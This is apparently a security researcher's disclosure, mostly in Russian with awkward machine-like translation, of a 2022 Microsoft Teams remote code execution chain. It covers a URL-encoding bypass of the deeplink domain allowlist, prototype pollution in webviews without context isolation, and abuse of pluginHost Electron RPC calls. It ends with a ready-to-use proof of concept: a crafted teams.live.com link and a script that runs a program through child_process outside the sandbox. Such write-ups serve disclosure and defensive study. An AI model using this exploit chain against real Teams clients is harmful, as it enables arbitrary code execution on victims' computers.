2022 Microsoft Teams RCE
Обработчик deeplink для /l/task/:appId в Microsoft Teams может загружать произвольный URL-адрес в webview/iframe. Злоумышленник может отказаться от этого с помощью функций RPC команд, чтобы получить выполнение кода за пределами песочницы.
1. Обход списка разрешенных URL-адресов с помощью кодировки URL-адресов
...
k(p.states.appDeepLinkTaskModule, {
url: "l/task/:appId?url&height&width&title&fallbackURL&card&completionBotId"
}),
k(p.states.appSfbFreQuickStartVideo, {
url: "sfbfrequickstartvideo"
}),
k(p.states.appDeepLinkMeetingCreate, {
url: "l/meeting/new?meetingType&groupId&tenantId&deeplinkId&attendees&subject&content&startTime&endTime&nobyoe&qsdisclaimer"
}),
k(p.states.appDeepLinkMeetingDetails, {
url: "l/meeting/:tenantId/:organizerId/:threadId/:messageId?deeplinkId&nobyoe&qsdisclaimer"
}),
k(p.states.appDeepLinkMeetingDetailsEventId, {
url: "l/meeting/details?eventId&deeplinkId"
}),
k(p.states.appDeepLinkVirtualEventCreate, {
url: "l/virtualevent/new?eventType"
}),
k(p.states.appDeepLinkVirtualEventDetails, {
url: "l/virtualevent/:eventId"
}),
...В Microsoft Teams есть обработчик маршрута URL-адреса для /l/task/:appId, который принимает urlкак параметр. Это позволяет чат-боту, созданному приложениями Teams, отправлять пользователю ссылку, которая должна быть в белом списке URL-адресов.
Белый список создается из различных полей приложения:
a = angular.isDefined(e.validDomains) ? _.clone(e.validDomains) : [];
return e.galleryTabs && a.push.apply(a, _.map(e.galleryTabs, function (e) {
return i.getValidDomainFromUrl(e.configurationUrl)
})), e.staticTabs && a.push.apply(a, _.map(e.staticTabs, function (e) {
return i.getValidDomainFromUrl(e.contentUrl)
})), e.connectors && a.push.apply(a, _.map(e.connectors, function (e) {
return i.utilityService.parseUrl(e.configurationUrl).host
These domains are converted into regular expressions, and are used to validate the url:… www.office.com www.github.com …
```js
...
t.prototype.isUrlInDomainList = function(e, t, n) {
void 0 === n && (n = !1);
for (var i = n ? e : this.parseUrl(e).href, s = 0; s < t.length; s++) {
for (var a = "", r = t[s].split("."), o = 0; o < r.length; o++)
a += (o > 0 ? "[.]" : "") + r[o].replace("*", "[^/^.]+");
var c = new RegExp("^https://" + a + "((/|\\?).*)?quot;,"i");
if (e.match(c) || i.match(c))
return !0
}
return !1
}
...Независимо от третьего параметра n, если исходный URL-адрес соответствует заданному регулярному выражению, эта проверка пройдена. Вместо этого после проверки URL-адреса проанализированная форма (parseUrl) передается в веб-просмотр.
e.prototype.setContainerUrl = function(e) {
var t = this;
this.sdkWindowMessageHandler && (this.sdkWindowMessageHandler.destroy(),
this.sdkWindowMessageHandler = null);
var n = this.utilityService.parseUrl(e);
this.$q.when(this.htmlSanitizer.sanitizeUrl(n.href, ["https"])).then(function(e) {
t.frameSrc = e
})
}Это проблематично, потому что parseUrl утилиты utilityService url-декодирует url; проверка выполняется на оригинальном, url-кодированном url. Особенно, когда разрешенный домен содержит подстановочный знак, например, *.office.com, генерируемое регулярное выражение имеет вид /^https://[^/^.]+[.]office[.]com((/|\?).*)?$/i. Подстановочный знак становится [^/^.]+, но если заданный url является https://attacker.com%23.office.com, то проверка пройдена. Однако после декодирования url становится https://attacker.com#.office.com, что приводит к загрузке сайта attacker.com.
Приложение Microsoft Planner (appId: 1ded03cb-ece5-4e7c-9f73-61c375528078) имеет домен с подстановочным знаком в поле validDomains:
{
"manifestVersion": "1.7",
"version": "0.0.19",
"categories": [
"Microsoft",
"Productivity",
"ProjectManagement"
],
"disabledScopes": [
"PrivateChannel"
],
"developerName": "Microsoft Corporation",
"developerUrl": "https://tasks.office.com",
"privacyUrl": "https://privacy.microsoft.com/privacystatement",
"termsOfUseUrl": "https://www.microsoft.com/servicesagreement",
"validDomains": [
"tasks.teams.microsoft.com",
"retailservices.teams.microsoft.com",
"retailservices-ppe.teams.microsoft.com",
"tasks.office.com",
"*.office.com"
],
...
}В результате эта ошибка позволяет злоумышленнику подгружать в произвольном месте в веб-просмотр.
Microsoft Teams
teams.live.com2. pluginHost позволяет опасные вызовы RPC из любого веб-просмотра
Поскольку контекстная изоляция не включена в веб-вью, злоумышленник может использовать загрязнение прототипа для вызова произвольных электронных IPC-вызовов к процессам (см. раздел "Приложение"). Учитывая этот примитив, атакующий может вызвать IPC-вызов 'calling
eams:ipc:initPluginHost' главного процесса, который дает идентификатор окна pluginHost. pluginHost открывает опасные RPC вызовы для любого веб-просмотра, например, возвращая член 'registered objects', вызывая их и импортируя некоторые разрешенные модули.
// n, o is controllable
P(c.remoteServerMemberGet, (e, t, n, o) => {
const i = s.objectsRegistry.get(n);
if (null == i)
throw new Error(
`Cannot get property '${o}' on missing remote object ${n}`
);
return A(e, t, () => i[o]);
}),
// n, o, i is controllable
P(c.remoteServerMemberCall, (e, t, n, o, i) => {
i = v(e, t, i);
const r = s.objectsRegistry.get(n);
if (null == r)
throw new Error(
`Cannot call function '${o}' on missing remote object ${n}`
);
return A(e, t, () => r[o](...i));
}),Злоумышленник может получить конструктор любого объекта, а конструктор конструктора (Функции) скомпилирует произвольный код JavaScript, и вызовет скомпилированную функцию.
[_,pluginHost]=ipc.sendSync('calling:teams:ipc:initPluginHost', []);
msg=ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_GET', [{hey: 1}, 1, 'constructor', []], '')[0].id
msg=ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_CALL', [{hey: 1}, msg, 'constructor', [{type: 'value', value: 'alert()'}]], '')[0].idrequire()не подвергается воздействию самого скрипта, но скрипт, контролируемый злоумышленником, может перезаписать прототип String, в этом коде:
function loadSlimCore(slimcoreLibPath) {
let slimcore;
if (utility.isWebpackRuntime()) {
const slimcoreLibPathWebpack = slimcoreLibPath.replace(/\\/g, "\\\\");
slimcore = eval(`require('${slimcoreLibPathWebpack}')`);
...
}
...
function requireEx(e, t) {
...
const { slimCoreLibPath: n, error: o } =
electron_1.ipcRenderer.sendSync(
constants.events.calling.getSlimCoreLibInfo
);
if (o) throw new Error(o);
if (t === n) return loadSlimCore(n);
// n === 'slimcore'
throw new Error("Invalid module: " + t);
}
// y === requireEx
P(c.remoteServerRequire, (e, t, n) => A(e, t, () => y(e, n))),Если злоумышленник вызывает remoteServerRequire с 'slimcore'в качестве аргумента pluginHost оценивает строку, возвращенную String.prototype.replace. Следовательно, следующий код может вызывать require с произвольными аргументами и вызывать методы в модуле.
msg=ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_CALL', [{hey: 1}, msg, 'constructor', [{type: 'value', value: 'var backup=String.prototype.replace; String.prototype.replace = ()=>"slimcore\');require(`child_process`).exec(`calc.exe`);(\'";'}]], '')[0].id
ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_FUNCTION_CALL', [{hey: 1}, msg, []], '')
ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_REQUIRE', [{hey: 1}, 'slimcore'], '')Используя модуль child_process, злоумышленник может выполнить любую программу.
Приложение A: Доступ к любым модулям комплекта, когда не включена контекстная изоляция между скриптом предварительной загрузки и веб-страницами
Electron компилирует и выполняет скрипт с именем sandbox_bundle.js в каждом фрейме песочницы, а также регистрирует обработчик, который показывает предупреждения безопасности, если этого хочет пользователь. Чтобы включить предупреждения безопасности, пользователи могут установить ELECTRON_ENABLE_SECURITY_WARNINGS либо в переменных окружения, либо в окне.
lib/renderer/security-warnings.ts#L43-L46:
if ((env && env.ELECTRON_ENABLE_SECURITY_WARNINGS) |||
(window && window.ELECTRON_ENABLE_SECURITY_WARNINGS)) {
shouldLog = true;
}Эта функция вызывается при событии 'load' окна:
export function securityWarnings (nodeIntegration: boolean) {
const loadHandler = async function () {
if (shouldLogSecurityWarnings()) {
const webPreferences = await getWebPreferences();
logSecurityWarnings(webPreferences, nodeIntegration);
}
};
window.addEventListener('load', loadHandler, { once: true });
}
security-warnings.ts также собран в sandbox_bundle.js с помощью webpack. Имеется импорт webFrame, который лениво загружает "./lib/renderer/api/web-frame.ts".
import { webFrame } from 'electron';
...
const isUnsafeEvalEnabled = () => {
return webFrame._isEvalAllowed();
};
// это вызывается warnAboutInsecureCSP + logSecurityWarningsimport { defineProperties } from '@electron/internal/common/define-properties';
import { moduleList } from '@electron/internal/sandboxed_renderer/api/module-list';
module.exports = {};
defineProperties(module.exports, moduleList);
В define-properties.ts определяется getter для всех модулей в moduleList; loader вызывается при обращении к модулю, например, webFrame.
const handleESModule = (loader: ElectronInternal.ModuleLoader) => () => {
const value = loader();
if (value.__esModule && value.default) return value.default;
return value;
};
// Прикрепляет свойства к |targetExports|.
export function defineProperties (targetExports: Object, moduleList: ElectronInternal.ModuleEntry[]) {
const descriptors: PropertyDescriptorMap = {};
for (const module of moduleList) {
descriptors[module.name] = {
enumerable: !module.private,
get: handleESModule(module.loader)
};
}
return Object.defineProperties(targetExports, descriptors);
}Загрузчик для webFrame определяется в moduleList:
export const moduleList: ElectronInternal.ModuleEntry[] = [
{
...
{
name: 'webFrame',
loader: () => require('@electron/internal/renderer/api/web-frame')
},}, {
name: "webFrame",
loader: ()=>r(/*! @electron/internal/renderer/api/web-frame */
"./lib/renderer/api/web-frame.ts")
}, {Функция r выше - это __webpack_require__, которая фактически загружает модуль, если он еще не загружен.
function __webpack_require__(r) {
if (t[r])
return t[r].exports;Здесь t - это список кэшированных модулей. Если модуль не загружен никаким кодом, t[r] не определен. Кроме того, t.__proto__ указывает на Object.prototype, поэтому атакующий может установить getter для пути к модулю, чтобы получить весь список кэшированных модулей.
const KEY = './lib/renderer/api/web-frame.ts';
let modules;
Object.prototype.__defineGetter__(KEY, function () {
console.log(this);
modules = this;
delete Object.prototype[KEY];
main();
})Это позволяет атакующему получить модуль electron/internal/renderer/api/ipc-renderer для отправки любых IPC любым процессам.
var ipc = modules['./lib/renderer/api/ipc-renderer.ts'].exports.default;
[_, pluginHost] = ipc.sendSync('calling:teams:ipc:initPluginHost', []);Мы использовали это для отправки IPC на pluginHost (см. раздел 2) и выполнения программы вне песочницы.
https://teams.live.com/l/task/1ded03cb-ece5-4e7c-9f73-61c375528078?url=https://0e1%252Ekr%5Ccd2c4753c4cb873c7be66e3ffdeae71f71ce33482e9921bab01dc3670a3b4f95%5C%23.office.com/&height=100&width=100&title=hey&fallbackURL=https://aka.ms/hey&completionBotId=&fqdn=teams.live.com
<script>
const KEY = './lib/renderer/api/web-frame.ts';
let modules;
Object.prototype.__defineGetter__(KEY, function () {
console.log(this);
modules = this;
delete Object.prototype[KEY];
main();
})
window.ELECTRON_ENABLE_SECURITY_WARNINGS = true;
function main() {
var ipc = modules['./lib/renderer/api/ipc-renderer.ts'].exports.default;
[_, pluginHost] = ipc.sendSync('calling:teams:ipc:initPluginHost', []);
msg = ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_REQUIRE', [{ hey: 1 }, 'slimcore'], '')[0]
msg = ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_GET', [{ hey: 1 }, msg.id, 'constructor', []], '')[0]
msg = ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_CALL', [{ hey: 1 }, msg.id, 'constructor', [{ type: 'value', value: 'var backup=String.prototype.replace; String.prototype.replace = ()=>"slimcore\');require(`child_process`).exec(`calc.exe`);(\'";' }]], '')[0]
ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_FUNCTION_CALL', [{ hey: 1 }, msg.id, []], '')
msg = ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_REQUIRE', [{ hey: 1 }, 'slimcore'], '')
}
</script>